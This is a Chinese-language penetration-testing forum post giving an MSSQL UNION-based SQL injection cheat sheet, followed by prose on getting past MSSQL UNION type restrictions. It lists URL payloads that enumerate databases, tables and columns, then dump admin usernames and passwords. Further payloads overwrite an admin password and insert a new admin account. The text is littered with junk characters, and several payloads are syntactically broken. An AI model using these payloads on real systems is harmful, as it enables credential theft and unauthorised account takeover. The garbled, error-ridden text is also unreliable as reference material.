中国网络渗透测试联盟

标题: MSSQL用union查询爆数据 [打印本页]

作者: admin    时间: 2012-9-15 14:26
标题: MSSQL用union查询爆数据
爆库:
+ N7 y1 @* E0 \3 R+ qhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--$ }- w; P) v! y6 V" L; ~& S. H
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
( Y3 X3 o# V4 Q- _爆下一个库:6 c7 ^7 s* o8 P- C0 }
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--# F3 A) Y$ X2 s2 d6 v  O1 E) {' w

- V; v. j3 }7 z$ X爆表:
5 Z8 o& n# l8 u. |0 @9 X; b. chttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--% O2 q2 q: K5 Q+ f+ @

& E/ s- |* \+ ]7 ]- q3 {5 S) }4 f  n, CSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
5 k8 Z# |6 }( m# Y: }/ d, z  G3 A: V. A1 M/ Y! N
爆下一个表
- O4 Z. Q; y- ]+ y3 P" Whttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
1 H7 `. @' u9 ~
' ?1 Z) }0 A1 ~5 l# yhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
9 H- B0 R, H+ m
' i8 T3 C- }, e% h' K) }) b* B; P. T0 l7 [0 L& V* M* l# h& @- ]! G
5 X! ]! T6 d2 C9 L% o* H
爆字段:
; [: Z$ t! G' W$ o  t+ m3 J' h: a# ~http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
/ E: K9 P7 Q* `# y4 }1 i4 X% U; K! Y' L0 F  Q
爆下一个字段
' ~) D! t6 H  vhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--0 D4 Q7 N0 s5 D: a- V" q2 k
* n0 p7 M/ D" u0 o: @$ _
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--3 b% Q1 m- a2 [/ i0 n2 A% e: }

7 q, o% d- `: ]0 ]7 {4 g" [: C. x. M) a0 m8 m6 j
爆字段里的内容2 {2 F# ^8 l3 P) Z/ U, E+ Q' Q1 H
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
  [; E. h7 r, O. Y% a9 k, _1 Y) s  `. w7 x
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--, x5 R7 J8 y- n2 F

: ]) |4 F8 |, h& j3 J) E1 hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--0 H% v! ?: u+ t2 y3 B+ y: Q% m9 \' }

: D  w8 M) C7 P  }) Q+ \( Zhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--9 X+ q6 _( n) c) J
! O( f: j  ?- c
更新字段里的内容
- I" m, ^' b5 H  N* @1 nhttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
2 ~8 C9 o  k2 }* n; D; z: H
# Y; h9 i0 I7 J) i! Z+ s) C1 Jhttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--' r- R! m5 D/ |  f5 h! Z1 f  S

& j. F: O& l( ]* Y
& ]. F0 e" c" P" P: v9 |* q. ^. o6 ?: Z3 X# y# E
        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
7 e# Z) z7 F+ J! j# T    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。8 O, Z3 @! g8 C& U2 T
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
! Q3 l3 b! e* o# T& M/ x    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。4 V; i! {$ l: B% ]4 p
* S( ?9 F2 f" x0 A
突了了大部份限制的语句; A1 ~- j' `" ~3 ]1 x, \& E
and 1=2 union all select char(49),char(50),null,null;--
! ~! [8 I% G  |+ G! s2 T7 O4 _; ^- {1 ^1 j8 F# ]& [/ ~
2 S- y* |; y7 M; D
null也可以正常执行,不过没有回显,不好判断回显的列数。" m3 n7 D; o3 l2 a, W! ?& k
一般union遇到问题都是有text或者ntext字段,image的很少遇到
6 X) U& d8 }4 _/ ^& ~
! a% B% ]# f8 v1 G可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟( Z# Z4 m2 ^- \7 ]' Q: M
) C+ H2 u1 k8 r& s0 J& c

6 M( C8 \  c( W; q




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2